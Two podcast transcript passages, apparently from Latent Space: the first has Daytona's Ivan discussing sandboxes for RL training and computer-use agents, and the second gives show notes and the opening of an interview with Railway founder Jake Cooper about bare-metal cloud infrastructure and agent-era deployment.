CPU and RAM, you have to allocate that and have that ready. And so there's basically two ways to do it. One is you either over-provision and you can handle the bursts, or two, you basically have, I don't know if this is a term, just-in-time compute, which is like as your load becomes, as your usage comes in, you can fire off requests for VMs or bare metals at other cloud providers and then get them up and running.Swyx [00:26:43]: This is if you go above 100%, right?Ivan [00:26:45]: Yeah, this is.Swyx [00:26:46]: Like your overflow.Ivan [00:26:46]: If your overflow, like spillage or whatever you do.Swyx [00:26:48]: You probably lose money on it, but it doesn't matter, right?Ivan [00:26:50]: It, not Well, you might, you might not That is a more cost-effective way to do it but it's a slower way to do it. Because basically what you have to do is you have to like queue your requests, spin up these just-in-time compute, get it all ready, provision it, and then get your workload there. And so if the time isn't important that much, that's fine, and you can do that. But if your customer, and especially for, let's say, the RL training runs, the reason why a lot of people come to us is because GPUs are more expensive than CPUs, right? So you want your GPU running at, what, 100% the entire time. And so when you're running runs on CPUs, when the when the CPU cycle is like down and spinning up the next one, you want that to be instantaneous so that your GPU doesn't go down, right? And if you then have to like go out and provision machines, you're essentially telling the GPU that it has to wait, and that's incurring our cost. So there's things that you have to try to solve for there.RL Workloads, Declarative Images, and Kubernetes ReplacementSwyx [00:27:43]: Yeah, let's talk about the different workload, right? You said that, what was it? A few months ago, you had zero RL workload and now it's 50%.Ivan [00:27:52]: It will be this one, 50%, yeah.Swyx [00:27:54]: Let's talk about how different it is, right? Like I imagine, for example, a lot less dynamic code generation of like arbitrary code. Like here, it's probably all the same code. You're just doing parallel runs or something, I don't know.Ivan [00:28:05]: Yeah. So you'll have multiple Depends on the like for each run, you'll have a snapshot. And they, for the most part, they actually do use our declarative image builder, which is like, “Oh, we, the agent wants these dependencies, these env vars.”Swyx [00:28:17]: These ones, yeah.Ivan [00:28:18]: Yeah, the declarative image builder, it.Swyx [00:28:20]: Which is a very modal like thing that they.Ivan [00:28:22]: Yeah. And so we build it on the fly and then we propagate that snapshot, and you can spin up as many sandboxes as you want against that snapshot. And then if you have to do changes, the model can, or like it could be also be automated. It's like, “Oh, now for the next run, we need to install these things or remove these things or whatever to get, a task done,” and then it goes off and runs that. So yes, that is something that it seems that they prefer. The number one reason I found, or should I say, let's take a step back. What we are competing against in that environment is essentially managed Kubernetes. So EKS, GKE, whatever. That is what the vast majority run on. And anyone that has tried Daytona versus GKE, EKS is like, “I'm never going back.” That has always been. There's a few reasons. One is the ergonomics. So if you have, if you're using Kubernetes to spin that up, you have to essentially manage the interface interactions with that. Daytona, although as a compute provider, it's more akin to a Twilio and Stripe from a consumption perspective than it is an AWS. Like you have an API, an SDK, it's quite like easy and seamless to get these things up and running, that's one. The other is the speed to which we spin up, which we mentioned earlier, which is much faster, and the scale to which we can go to. We haven't got into features, but an interesting feature is that it's very hard to OOM, or out of memory, our sandboxes, because we can dynamically on the fly.Swyx [00:29:48]: Resize.Ivan [00:29:49]: Resize, which is like impossible on almost any other thing. There are some technologies that enable you to do that, but it's like a very hard thing. And so we actually saw this when, the Terminal Revenge team is, brought us actually. So thank you, Alex and the team, that brought us into this whole space.Swyx [00:30:05]: It's just very rare that, a framework would just say, “Guys, just use Daytona.”Ivan [00:30:11]: Yeah, I think it says it somewhere. Yeah.Swyx [00:30:13]: Yeah. I was like, “What is this?”Ivan [00:30:15]: There's all, there's multiple there, but they also mention a few other places. and so Daytona specifically-We have, the, just jumping on themes here We, I don't know where it says Data Center.Swyx [00:30:27]: I, there.Ivan [00:30:27]: Doesn't matter.Swyx [00:30:28]: There's a very strong recommendation, which is, very unusual. Which is, it's.Ivan [00:30:33]: We do not pay them for this, just.Swyx [00:30:34]: I know, yeah. They just like you.Ivan [00:30:35]: Yeah, they like us. yeah, and also a thing, so, Data Center has multiple isolation sets underneath. The customer doesn't have to know what they are. But basically we have Docker, which is a container, that's hardened with Sysbox. So it's Docker's, isolation that is a security equivalent to a VM, but it's still a container. And that is the default, and they, especially in these training workloads, really like that as an interface to be able to use just a basic Docker container, and we enable Docker and Docker. Which for these RL runs, if you need to do a Docker compose or Kubernetes, you can spin up a K3S inside of these things, which unlocks a huge amount of workloads that you can do that you cannot do on other providers. So just on that part is much more interesting. And so we went that, through that. We showed them that we could do that, and they enjoyed that quite a bit. They being the general venture people.Swyx [00:31:28]: Those people, yeah.Ivan [00:31:29]: And Harbor people.Swyx [00:31:29]: Harbor people, do are they, are they a company yet?Ivan [00:31:33]: As far, I do not know.Customer Pull, Slack Connect, and the Computer Use BetSwyx [00:31:35]: Okay. All right. Yeah. It's like super obvious that like, there's a lot of excitement and success around these things, okay, so yeah, tell us more, right? Like, this is an exploding workload, Harbor adopted you, which helped speed things along. But what are you learning as this new workload comes online?Ivan [00:31:53]: There's a couple things that we learned, which we chat about in the beginning. We, and this has led our story, as we mentioned, we like talked to a lot of customers along the way, and we add more features and more tool sets as we talk to customers. And it's interesting that And I think it's that the ecosystem is so small and/or the models get smarter, where when we see one user come with a request, we know it goes on a roadmap if like three to five customers come with the same request in that week. It's like very bizarre. It happens so many times, which is.Swyx [00:32:27]: Because they're all friends.Ivan [00:32:28]: Sorry?Swyx [00:32:28]: They all, they're all friends. They're all in the same group chat.Ivan [00:32:30]: Yeah, probably, yeah. ‘Cause and they're like, “Oh, can you do this?” And I'm like, “Okay, this is interesting. We'll put it on a feature request.” And then the next one's like, “Oh, can you do this?” “Okay.” It's all the same, right? It's always the same. And so what we try to do, and I personally try to do, I try to be on as many call, quote-unquote “sales calls” I can. I'm in every Slack channel. We literally have about 1,000 Slack Connect channels, something like that. It's an interesting, there's so many interesting things you find out when you have all the Slack channels. You can also see where people, transfer between companies. You see leave Slack channel, enter Slack channel. It's an interesting thing. Also, just I digress, I feel that Slack Connect is literally LinkedIn what it should be. You have a list.Swyx [00:33:08]: LinkedIn charges you to, use your own connections, but Slack doesn't, right? Slack is like, do it for free. It's more lock-in. It's great.Ivan [00:33:15]: Yeah. It's amazing. Yeah. It's one of the reasons.Swyx [00:33:17]: You're gonna pay Slack for life.Ivan [00:33:18]: Exactly. You're there for life. So that's interesting. And so one of the things, the newer things we were talking about earlier is we made a big bet and put a lot of investment on computer use. that is not seen publicly the light of day. We haven't GA'd that yet, but we have.Swyx [00:33:32]: Is there a thing I can pull up?Ivan [00:33:33]: There is computer use there. It's right up a bit.Swyx [00:33:36]: Oh, yeah. Okay.Ivan [00:33:38]: What we have, what we talked about and what we've seen publicly is there's this theme now about, the human emulator where And Elon from XAI has talked about this publicly, and if you think about the models today, they're actually quite sophisticated and they can do a lot of work, but they still don't have access to all the tools. Like, I'm a strong believer that the most efficient way for an agent to work is essentially headless or through, terminal or whatnot. But if we, if we look at knowledge work in general, there's about 100 million knowledge workers in the US, about a billion in the world, and knowledge workers, and the salaries of them aggregate to 10 trillion in the US 50 trillion worldwide.Swyx [00:34:24]: Wow.Ivan [00:34:25]: Something like that. And if we look at, the five most important sectors of that, so like healthcare and government and financial services and whatnot, that's about 56% of that. So let's say it's about half of that. So in the US it's about 25 trillion, and most of them, most of that work is actually still locked into legacy apps inside of Windows, which is not going anywhere for a very long time. Like, people just won't invest in that. How much of it? our assumption is the following: if, in the RPA market, which is similar market, well, not the same 25% of, these white collar, workers', work is automated. If an agent is more sophisticated, can go through more runs, figure stuff out, let's say it's, 40%, right? And so if you take 40% of that, you get to essentially, $10 trillion a year.Swyx [00:35:17]: That's a TAM.Ivan [00:35:18]: That is a that is a TAM. So that's the TAM of the models, right? That's not our, essentially ours. But you get to that size, and to be able to do that, you essentially have to give agents these computers with the legacy. So computer use, either Mac or Windows or Linux. Linux we also obviously have and others have. But Windows specifically is something very new, and the only option right now is an EC2 with, Windows or on Azure. Both of them take anywhere from three to five minutes to spin up. We've created an actual sandbox, so it's a second instead of milliseconds, but you have, point in time snapshots, you have, forking, you have all the things that you have from a sandbox, but essentially enables you to hopefully unlock all this value. And so that's been our big push and bet, but we've sort of, kept our ear to the ground. What is sort of the next things in the market?RPA Returns: Why Agents Still Need ComputersSwyx [00:36:06]: Yeah, knowledge work, and building, and sort of RPA, the next wave of RPA. I got very excited about RPA kind of during COVID times. The UI path was IPO-ing. And it was, a very hot Isn't it, Eastern European?Ivan [00:36:20]: It is, Romanian.Swyx [00:36:21]: Romanian?Yeah, it might be the only Romanian, big unicorn okay, yeah. This I don't I don't, I don't have like a I think there's, I think there's a stage being set for the resurgence of RPA, ‘cause everyone understands that, yeah, no one wants to deal with these shitty apps and no one's gonna rewrite them. Like, you just have to do, a remote operation and programmatic operation of them.Ivan [00:36:45]: If you wanna unlock it, my own setup was basically the following. So I was doing a board deck recently, last month, whatever, and I'm like, “Okay, let's just, let's just do automated.” So, all our data's in, ClickHouse and PostHog and QuickBooks, where everyone else's is, and I'm basically, connected that all to, my Cloud code, like go off and go Cloud code whatever. Go off and, here's the integrations, go do that. It pulled out the first report, which was great. It connected to Brex and all these things, pulled it, which was great, and then I say, “Okay, now pull out this, and this,” and I kept getting, really well McKinsey-style design reports, but the data said partial data. all the missing data, partial data. Like, it can't access all the things, and I got so frustrated, and so I got, I got, my Mac Mini virtual sandbox with OpenClaw. I gave it its own account in our company, and then I went to all these services and created a read-only account, so literally like an intern in your company. And so I would say, “Now go and do this report,” and it would get the same, or like, “I can't via the MCP or the API or whatever. I can't get all the information.” I'm like, “Go log in.” And it will log into the website, then go in, export the data. It'll export the data and do the thing end to end. So even for things that have today APIs, not all of it is exposed, and I to get value, I get immense value right now, but it has to be a computer usage, unfortunately, and so I spend a bunch of tokens just on that, but I get the job done. And so if even a startup like ours, and using all the hottest tools, still needs a computer agent what hope does, Goldman have to have a headless, right?Swyx [00:38:22]: Yeah, what a - Why isn't Microsoft doing this?Ivan [00:38:27]: I'm pretty sure, Satya had a post yesterday.Swyx [00:38:29]: Oh, okay. I see.Ivan [00:38:29]: Which was like, “Every agent needs a computer.”Swyx [00:38:31]: I see, I see.Ivan [00:38:32]: So they have launched something recently.Swyx [00:38:34]: Yeah, they have Microsoft Power Automate, I'm sure, I'm sure, they're gonna have their version.macOS Sandboxes, Apple Constraints, and the Windows OpportunityIvan [00:38:39]: Version of that, yeah.Swyx [00:38:39]: You're gonna try to do yours, and it - I always know there's always demand for Mac, but I know it's, tricky to host, macOS sandboxes.Ivan [00:38:49]: We will have macOS sandboxes fairly soon. The problem with macOS, OS sandboxes is, I'm deep in this, I don't know how much interesting is.Swyx [00:38:55]: No, it's.Ivan [00:38:56]: MacOS has this problem.Swyx [00:38:57]: It's a licensing thing, right?Ivan [00:38:58]: Licensing thing. So one, you're allowed to run only two parallel VMs per machine, so that's one. Two, you can only license to a different user every 24 hours. So if you come in and theoretically, if I wanna charge you per second and I charge you one second, I have to have it idle for the rest of the day. I can't have anyone else doing that. So the pricing will be different in the sense that I will have to - we would have to charge for 24 hours, and that's not even, that's not even the most difficult thing. But the, thing above that is, from a security perspective, they enable you to do memory snapshot, pause, resume, but only on the same physical drive, physical machine. And so what you can do in, Windows world or Linux world is that I can move in the background, your snapshot from one to the other and manage load, right? Here, if you wanna do that, you essentially have to have your.Swyx [00:39:49]: Yeah, snapshots. Yeah.Ivan [00:39:50]: Your.Swyx [00:39:51]: It's like.Ivan [00:39:51]: Physical machine.Swyx [00:39:52]: You can't break it up.Ivan [00:39:53]: You can't, you can't move things around that, and all of that is, that part is, from a security standpoint, if it is written. Like, I understand the security aspect of that, but it disables you from doing these agentic, like really scalable agentic workloads.Swyx [00:40:08]: You need to do a vibe-coded, clean room implementation on macOS that you can then - That's like Clean OS or something. I don't know.Ivan [00:40:17]: So. We have.Swyx [00:40:18]: ‘cause like Linux was originally like a clean room rewrite of Unix.Ivan [00:40:21]: Okay. Yeah.Swyx [00:40:21]: Or something like that, right? Like same thing to macOS. Someone needs to do it.Ivan [00:40:25]: Someone will do that, and someone will have some long-running agents for a few days to figure this stuff out. But yeah. So definitely we - we're really close to offering something ‘cause people do want it, but the pricing will be different, and the feature set will be sort of stringent.Swyx [00:40:38]: Yeah, nobody's gonna use this. like, the labs, the labs will because they want to automate macOS.Ivan [00:40:42]: They have to do RL. They have to do RL again. But even if you The - So the point is with the RL part, if you, if you do RL on macOS, then the next iteration of the model comes out, it will be able to use these tools significantly. Then you actually need to run those, that somewhere. So you're gonna have to have that, later on. And from, if anyone at Apple is listening, I very much feel that they are shooting themselves in the foot of the scale of the revenue of compute or licensing they could get if they would just enable a concurrency model similar to what you can get on a Windows and a, and Linux.Swyx [00:41:17]: Yeah. Yeah. And I'm sure they've heard this before. They just don't care. Yeah, it's And maybe they will change their mind with the new CEO.Ivan [00:41:24]: Yeah. We'll see.Swyx [00:41:25]: We'll see.Ivan [00:41:25]: High hopes.Swyx [00:41:26]: High hopes.Ivan [00:41:26]: High hopes.Swyx [00:41:27]: Okay. But I, it's very clear the market opportunity is huge in Windows, and you can go for a long time on just Windows, but your customers are gonna want both. and I think, it is interesting to me that, this is the sort of God application of agents, right? Like, I don't It was - How big was OpenClaw for you guys? Like, was it, was there, a significant bump.OpenClaw, Agent Labs, and the B2B2C Sandbox MarketIvan [00:41:54]: Not for us because we.Swyx [00:41:54]: Because you already.Ivan [00:41:55]: We're kind of positioned differently. Whereas although it's completely PLG and we have individual developers that use it, most of the users that use Daytona are sort of a B2B2C. Sort of it's either B2B or B2B2C. So, in the researcher world, it's B2B, so you're selling to, labs and neo labs and things like that. But on the long-running agents, it's mostly, from a scale revenue perspective, it's mostly B2B2C, where you have a app layer agent that uses you at a big scale.Swyx [00:42:26]: Like a Manus. Yeah.Ivan [00:42:28]: Like a Manus Lovable type of thing.Swyx [00:42:31]: Yeah. I think that's the question of, well how, um-Uh, yeah, B2B to C is basically to me what I've been calling an agent lab, which is kind of like you're not in a model lab, but you're making a very good wrapper that is a platform that other people can sign up so they don't have to code those things. Yeah, it sound, it sounds like a much better market than the direct OpenClaw market.Ivan [00:42:56]: I've like - We I've done multiple things. So the CodeAnywhere's part of our career path R in the calendar, was very much an end user developer product. And so that is great. It You can get a lot of developer love, and I feel that we do as a company have a bunch of developer love. But it's a different type, where it's people building these things. Again, it's more akin to a Twilio because you don't really run - As a person, you wouldn't run Twilio. I don't know how many people remember. It was like ask your developer billboard and whatnot. And people really love Twilio, but they only used it inside of like, “Oh, I'm building this app or service for thing.” And so we're very much directly to that. And you also know that I used to work for a competitor for Twilio, so it's kind of ingrained, in my DNA.Swyx [00:43:35]: People don't know InfoBip is that big.Ivan [00:43:38]: Yeah, it's.Swyx [00:43:39]: Because.Ivan [00:43:40]: It's a billion euro.Swyx [00:43:40]: They're all American. They're like, “Whatever's in Europe doesn't matter to me.” But like it's the, it's the same size or bigger? Same size?Ivan [00:43:46]: It's about half the size.Swyx [00:43:47]: Half the size?Ivan [00:43:48]: Yeah, about half the size.Swyx [00:43:48]: It's like, yeah.Ivan [00:43:48]: Still huge. Multiple billions a year. Yes.Swyx [00:43:51]: That's crazy.Ivan [00:43:51]: Exactly, and so that - These are like really interesting and large revenue-generating, very sticky businesses. Whereas when you're selling to the - When your focus is the end developer, it is a very hard sell because they're very price sensitive, very price conscious, very around that. And there's very It's very hard to scale. Your cap is the number of people that are willing to spin up - First of all, wanna spin that up, and then spin up multiple of these. Whereas if you're in the enterprise one, like we know everyone's talking about like how many tokens they're spending, I'm spending. Like a lot of companies today are like, “If this is our company, spend as much as you can.” Like basically that is where we're going. And so if you think about that paradigm, where you're selling to companies that say, “Spend as much as you can to generate, productivity,” versus, “Oh, I'm a single person. I have this much budget, and I'm doing this thing because it's fun or it's helping me out or whatever.” Like it is a different, it's a different go-to-market, I think, strategy.MCP, CLIs, and Sandboxes as the Agent RuntimeSwyx [00:44:50]: Yeah, there's a lot of discussion. I'm just kind of going through like the mental list of things that are in your favor, which is, for example, MCP versus CLI. Like obviously you want CLI. It's been very good for you. I feel like it's maybe a drop in the bucket or maybe it's huge. I'm just checking whether it's like these are big trends.Ivan [00:45:10]: Those things you - work well in our favor, to your point just because every.Swyx [00:45:13]: They're kind of drop in the bucket, right?Ivan [00:45:15]: I think it's like sort of all the things come together. And so there's so many things that impact that. To your point, like OpenClaw wasn't huge for us, but like having the agent SDK, from Anthropic, so or Cloud Claude Code was very interesting. The reason why it was interesting is that a lot of, let's call them app I don't know what to call them, app layer agent companies, essentially they are like, “Oh, I can create this new app, this new agent. All I need, I just use Claude Code, and I throw it into a sandbox, and then I have my interface to the human to that.” And so that enabled so many more companies to actually offer this, and then they would pull on sandbox. So that was, that was interesting. And to your point, like MCP, versus the CLI, the MCP is an interface against an API, whereas the CLI is like you can actually go do things. Like this is it. The difference between integrations and actually running scripts or data or analysis against a thing. So being able to use a CLI very well enables the agent to do more things, and it's because that people will invoke a sandbox, they'll run it in the CLI, and but it'll do anal-analysis on that data and then give you an actual result versus just, pulling data from an API source.Swyx [00:46:29]: Yeah, it's a layer of indirection basically, it's the same thing as agentic search versus RAG, which where you're.Ivan [00:46:34]: Exactly, yeah.Swyx [00:46:34]: Just like you just win whenever people put more agents into their workflow. And so like it doesn't really matter, but I'm just kinda teasing out like what else have people heard about that like it's sort of, “Oh yeah, this is another sandbox use case. Oh yeah, that's another one.” Am I, am I missing any big ones?Ivan [00:46:51]: The thing, the thing that people, which is the computer use stuff, which I think is probably the most interesting one, is, and to your point, we've talked to so many people over the last year. It's like, “Oh, like why do you need a sandbox? Why do you need this? Why this?” And to your point, it's like, “Oh, I need sandbox for this. I need sandbox for that. I need sandbox-” It's like, “Oh, I need it for every single thing.” And so basically what I, what I - and it sounds like a broken record, it's like you use a laptop every single day, right? And you are n of one. It's just you. But now imagine how And by the way, the laptop, the computer PC market, the PC market is about equal to the cloud market in total. So it's about 150, 180 billion a year. Something like that. It's about roughly the three cloud hyperscalers is about equal to like Apple, HP, Lenovo, whatever, It's a little bit less, but it's sort of like that. And now imagine And that's just like, so how big is the addressable market? What, how many people are there in the world now? What's the last data?Swyx [00:47:45]: Let's call it eight billion.Ivan [00:47:46]: Eight billion. And so let's say you can have two computer, like you have one personal and one business, whatever. Like so it's double that, right? and so that's 16 billion, right? How many agents are gonna be running in two years, in 10 years, in 100 years? Like And for every single task, they will need one of these. And so how big is that? That market is essentially quote unquote “infinite”. You will get to the point, and Dylan Patel was at the conference talking about, from SemiAnalysis, that talks usually about GPUs, was also talking about how CPUs will now be a bottleneck because it will be the constraint. You won't be able to grow, or we won't be able to have enough of these because there won't be enough CPUs to basically do.Swyx [00:48:23]: Yeah. Well, I actually had a really good podcast with Doug Oliphant, who, which was his president at SemiAnalysis, where they've basically been like, yeah, it's been a GPU shortage first, but then it's cascaded down to memory and now to CPUs.Ivan [00:48:35]: CPU, yeah.Swyx [00:48:35]: It-What's next? So networking. So, networking actually has been in shortage for a while if you're looking at, just GPU networking. But, yeah, it's really crazy the amount of computer use that's going on, yeah, cool. I, other questions are, just the one very big part is the open sourceness which you didn't have to do, your competitors don't do, like it's not, a lot of people are worried about keeping their projects open source because some competitor can just slot fork it. I don't know if there's any reflections on just being an open source company.Open Source, Trust, and Enterprise ProcurementIvan [00:49:15]: Yeah. There's a bunch. So we the original product that we did was open source.Swyx [00:49:19]: Yeah. CodeAnywhere.Ivan [00:49:20]: So doing that was actually very good for us. There's basically a saying of, What's the saying? Like, companies that are, that are doing really well, measure themselves against, free cashflow, that are kinda okay, it's EBITDA, then, it's, it goes all the way down.Swyx [00:49:36]: The worst is like GitHub stars.Ivan [00:49:37]: GitHub stars. GitHub stars are the worst, yeah. So you go all the way down to GitHub stars. And so our original one was GitHub stars. That's what we talked about, we're at the point we're talking about revenue, so we're we've gone up the stack on that. And so we started.Swyx [00:49:47]: No, profit.Ivan [00:49:48]: Yeah. We haven't, we're, we'll get there. We'll get there. But basically at that point we did stars and GitHub and it was useful, and the original variation that we did, it we split the core into its own repo and it was Apache 2.0, so very, permissive. And then we basically would bundl
Take the 2026 AI Engineering Survey and get >$2k in credits and AIE WF tickets!This was recorded before Railway suffered a major GCP outage on May 19, despite being a multi-AZ, multi-zone mesh ring, with HA fiber interconnects between their Metal GCP AWS, because workload discoverability was unintentionally still tied to GCP. All has been resolved with a post-mortem.Railway did not start as an AI infrastructure company.It was founded in 2020 years before agents became the default way people thought about deploying software. Jake Cooper, formerly at Bloomberg and Uber, started Railway with a simple obsession: the activation energy to ship something to production should be near zero. Push code, get a URL, iterate. No Docker files, no Kubernetes manifests, no Ansible scripts stacked on Ansible scripts.For years, this was a slow grind. Railway spent its first 18 months hand-acquiring its first 100 users with Jake personally greeting every Discord signup on a second monitor.Today, Railway has raised $124m and is growing very fast. A 35-person team supports 3 million users, adding roughly 100,000 signups a week. Their bare metal data centers have a 3-month payback period vs. renting in the cloud, with 70% margins funding aggressive cloud bursting when needed. The servers they own have actually appreciated in value as RAM prices have climbed basically meaning the value of their hardware now exceeds the capital they've raised.From rebuilding Railway's network overlay over a weekend to moving the vast majority of workloads onto its own bare metal data centers, Jake Cooper is trying to build a new cloud for an agent-native world. In this episode, Railway's founder and “conductor” joins swyx and Alessio to unpack why the next era of software infrastructure is not just “Heroku but newer,” what agents need that humans did not, and why the old deployment loop of Git, PRs, CI/CD, and static cloud resources may be heading for a rewrite.We go deep on Railway's infrastructure stack: own-metal data centers, three-month cloud payback periods, cloud bursting, data center debt, Railpack, Nixpacks, Temporal, feature flags, Central Station, content-addressable filesystems, agent-safe production forks, and why the CLI may become more important than the canvas in an agent world. Jake also shares the founder journey behind Railway, how the company survived losing $500K/month, why it now serves millions of users with only 35 people, and why he believes the pull request is dying.We discuss:* How Railway went from a slow six-year grind to adding 100,000 users a week* How Railway thinks about agents as the next dominant software species* Why agents need version control, observability, compute, storage, and orchestration at 1000x scale* The economics of Railway's own-metal data centers and three-month payback* How Railway uses cloud bursting while scaling its own infrastructure* Why data center debt can be a better tool than venture debt for infra startups* Central Station, Railway's internal system for clustering customer feedback and incidents* Why responsible disclosure and over-communication matter for platforms* Why feature flags, progressive rollouts, and shadow traffic are essential for agents* Temporal's strengths, pain points, and why workflows matter for agents* Railpack, Nixpacks, Nix, and lazy-loaded content-addressable filesystems* Why “cattle, not pets” may change if you can clone the pets* Why Railway is building a new cloud from scratch instead of copying hyperscalers* The solo founder path, focus, writing, and how Jake thinks about company buildingRailway:* Website: https://railway.com/* X: https://x.com/RailwayJake Cooper:* LinkedIn: https://www.linkedin.com/in/thejakecooper/* X: https://x.com/JustJakeTimestamps00:00:00 Introduction: What Is Railway?00:02:07 Jake's Path to Railway00:06:13 Railway's Six-Year Growth Story00:08:52 Rebuilding the Business After the Free Tier00:11:17 Agents as the Next Software Platform00:13:29 Railway's Infrastructure Philosophy00:15:42 Bare Metal, Cloud Economics, and the Compute Crunch00:17:22 Cloud Bursting and Five-Cloud Networking00:20:20 Data Center Debt and Infra Financing00:23:31 Data Centers in Space00:25:24 What Agents Need From Infrastructure00:28:24 CLIs, Canvas, and Agent-Native UX00:35:15 Central Station, Incidents, and Responsible Disclosure00:40:30 Safe Rollouts, SRE Agents, and Production Forks00:45:00 AI SRE, Specs, Code, and Tests00:48:24 Self-Replicating Infrastructure and the New Serverless00:53:18 Heroku, Temporal, and Workflow Engines01:04:07 Railpack, Nixpacks, and Lazy-Loaded Filesystems01:06:01 Coding Agents, Token Spend, and Roadmap Acceleration01:10:56 The Pull Request Is Dying01:12:28 Feature Flags and the Agent-Era SDLC01:16:15 Cattle, Pets, and Cloning Machines01:19:29 Solo Founder Lessons01:24:12 Focus, GPUs, and Building a New Cloud01:28:20 Closing ThoughtsTranscriptAlessio [00:00:00]: Hey, everyone. Welcome to the Latent Space Podcast. This is Alessio, founder of Kernel Labs, and I'm joined by Swyx, editor of Latent Space.Swyx [00:00:10]: Hey, hey, hey. Today we're in the studio with Jake Cooper of Railway.Alessio [00:00:14]: Conductor of Railway.Swyx [00:00:15]: Conductor at Railway. Yeah.Alessio [00:00:16]: Choo-choo.Swyx [00:00:17]: Do you actually have that anywhere, like on your business card?Jake [00:00:20]: We call some of our volunteer moderators conductors. I don't have a business card. We're not that big yet. At some point I will. I got handed a nice business card from the Supermicro folks, and I was like, “Damn, this is pretty official.”Swyx [00:00:30]: Business cards are coming back.Jake [00:00:32]: They're cool. They're hip. The conductor thing is good. We're trying to figure out what we want to call each other internally. Some people think it's super cringe and say, “You don't need a name for people internally.” Some people want to call each other something. We still don't have a really good one.Jake [00:00:55]: We've got New Railcrews, Trainiacs. Nothing has stuck yet.Swyx [00:01:00]: I like Trainiac. Trainiac sounds good. Railwayians. For those who don't know, what is Railway? Let's give people a crisp definition up front.Jake [00:01:09]: Railway is the easiest way to ship anything. You go to the canvas, or you talk with Claude, and you say, “Deploy a Postgres instance, deploy my GitHub repository, run this code,” and you're off to the races.Swyx [00:01:22]: You've got a nice animation on the landing page.Jake [00:01:24]: Thank you. None of my work, by the way. They don't let me touch the design stuff anymore.Jake [00:01:25]: We want to make it trivially easy not just to deploy things, but to evolve applications over time. Most tooling right now stacks entropy on top of entropy: Docker, Kubernetes, Ansible scripts, and all these other things. If we can version all of your software and keep track of all the changes, then we can make it trivial to clone environments, fork into a parallel universe, get copies of production data, get copies of any services, make changes, validate them, and collapse them back in without reproducing everything across a staging environment.The Railway Origin Story: From Uber Systems to a New CloudSwyx [00:02:07]: I was looking at your background: Bloomberg, Uber. Nothing immediately stands out as, “This guy is going to found the next great platform as a service.” What prepared you for Railway?Jake [00:02:21]: It was curiosity to keep going deeper. I started out on front-end stuff, working on Wolfram Mathematica and porting it over. Then I briefly moved to Bloomberg, then toward Uber and distributed systems, taking the Jump Bikes systems and moving them to a distributed system built on top of Cadence, the pre-Temporal Temporal.Swyx [00:02:44]: Which, by the way, I'm happy to talk about, pros and cons.Jake [00:02:48]: Totally.Swyx [00:02:51]: But let's do the Railway story.Jake [00:02:52]: It has been a continual step of wanting an experience. Whether it's walking up to a bike, unlocking it, and having it work frictionlessly, or something else, the depth required to make that happen follows from the experience. A lot of the work I do, and a lot of the team does, is in service of that experience. We fundamentally don't care how deep we have to go. We will swim to the bottom of the swimming pool to get the experience.Jake [00:03:17]: I don't have a physics PhD. I did an EECS degree. It has always been about figuring out the next step: how do we get there? That's what led to starting Railway for that experience and then moving all the way to bare metal data centers. I was adding patches to the kernel this week to get the experience there because I can see how much better it can be.Swyx [00:03:49]: Other patches to the Linux kernel this week?Jake [00:03:51]: Yeah. Not upstream. Our fork.Swyx [00:03:52]: That's a flex. Railpack? No, this is different. This is the OS on top of Railpack?Jake [00:03:57]: No, this is an actual kernel patch. It's always literally: what do we have to do to get that experience? Then figure it out. Anything is figureoutable.Swyx [00:04:10]: Would you send the patch upstream, or does it not fit other use cases?Jake [00:04:13]: Maybe. We have to work out the experience internally. It has to do with the storage layer we're building for some of the agentic stuff. Maybe it'll be useful upstream, but it's deeply useful for us internally.Open Source, Forks, and Non-Deterministic VersioningSwyx [00:04:29]: You mentioned open source before. How do you think about starting from open source, and then coding agents letting you do a lot more from forks of it?Jake [00:04:38]: GitHub's original sin is that it's almost a series of broken pointers. You have this thing, then you clone it, and now you've lost the whole upstream. How do we make it trivial for people to modify really small pieces of it?Jake [00:04:51]: We think of Git in a discrete sense: I've either made a change and merged upstream, or I haven't. What would it look like if it were percentage-based, a little more non-deterministic, or a stream of changes that users traverse as a percentage rolled out in general and then rolled all the way up?Jake [00:05:13]: We have the open-source kickback program and let you deploy templates because we want to make it trivial for people to version these shards over time. It solves a large problem around authentication, authorization, and security. NPM has a way to define, “Don't take any new packages.” The ideal end state is that you roll out progressively to users with the minimum impact zone and continue rolling up. JPMorgan should probably be the last one on the patch line, for all our sakes, because our money and livelihoods are there.Jake [00:05:53]: It's okay if Johnny Vibe Coder gets a broken patch because there's so much entropy in the system that the rubber has to meet the road at some point. You have to test at varying levels.The Long Grind: First Users, Free Tier, and Making the Business WorkSwyx [00:06:13]: I wanted to pull up this glorious chart, which is your usage or number of daily signups?Jake [00:06:22]: Daily signups, I think.Swyx [00:06:24]: You started six years ago. It was a slow grind, and now you're on a rocket ship. You say, “Don't doubt your fight and don't quit.” Maybe pick out certain points that were key inflections for the company.Jake [00:06:40]: At the start, it's about getting your first 100 users, hell or high water. We had a website and a support link. The support link was the Discord channel. I had notifications on with two monitors: the monitor I was working on and the other monitor with Discord. If anybody came in, I was immediately like, “Hey, how's it going?” It was rare, so getting those first 100 users to come back was the start.Jake [00:07:14]: Then you build a consultancy factory because users want all these things. You have to go back to the board and ask, “What is the actual product offering I want to build on top of this?”Jake [00:07:28]: VCs want charts that always go up and to the right, but in reality you don't necessarily want charts that look like that. For us, there have been periods of expansion where we add features to test use cases, and periods of compaction where we ask, “If the experience we have is good, how do we make it significantly better?” Maybe we strip out features that don't fit our ICP anymore.Jake [00:07:57]: The boom from 2022 to 2023 came from the free tier. Everybody under the sun was using it.Swyx [00:08:09]: A lot of Reddit bots and Discord bots.Jake [00:08:12]: And crypto miners. When you build an open product on the internet where anybody can sign up, the internet is a horrible place with so many things. You go through periods of asking, “How do I reach as many people as possible?” Then, “How do I fit the exact use case for the people who really matter and are really excited about this specific thing?”Jake [00:08:39]: Then there was a two-year period of making the actual business work. During the free-tier era, we were losing about half a million dollars a month.Swyx [00:08:59]: On a $20 million bank account.Jake [00:09:02]: On a $20 million bank account with maybe $50,000 a month in revenue. That's a horrible business. I don't know how anybody invested. But you have to go through it and say, “We have an experience people love, but the business has to work.”Jake [00:09:17]: There are two schools of thought. You can run the horrible business all the way up with bad margins, or you can go back and make it work. We've always wanted a super lean team. We're 35 people right now. It's very small.Swyx [00:09:36]: Supporting three million already?Jake [00:09:38]: Yeah. We're adding 100,000 users a week right now, so it's growing fast. We don't want to add headcount for the sake of headcount or throw bodies at problems. We want to build systems. It's hard to build systems during expansion because you're adding things to the system because people are asking for them or things are breaking.Jake [00:10:00]: We had to cut off the free users for a little while, rebuild the business, and make sure it worked. We want to reach as many people as possible because software is important. It's become difficult to create things in the physical world, so it's 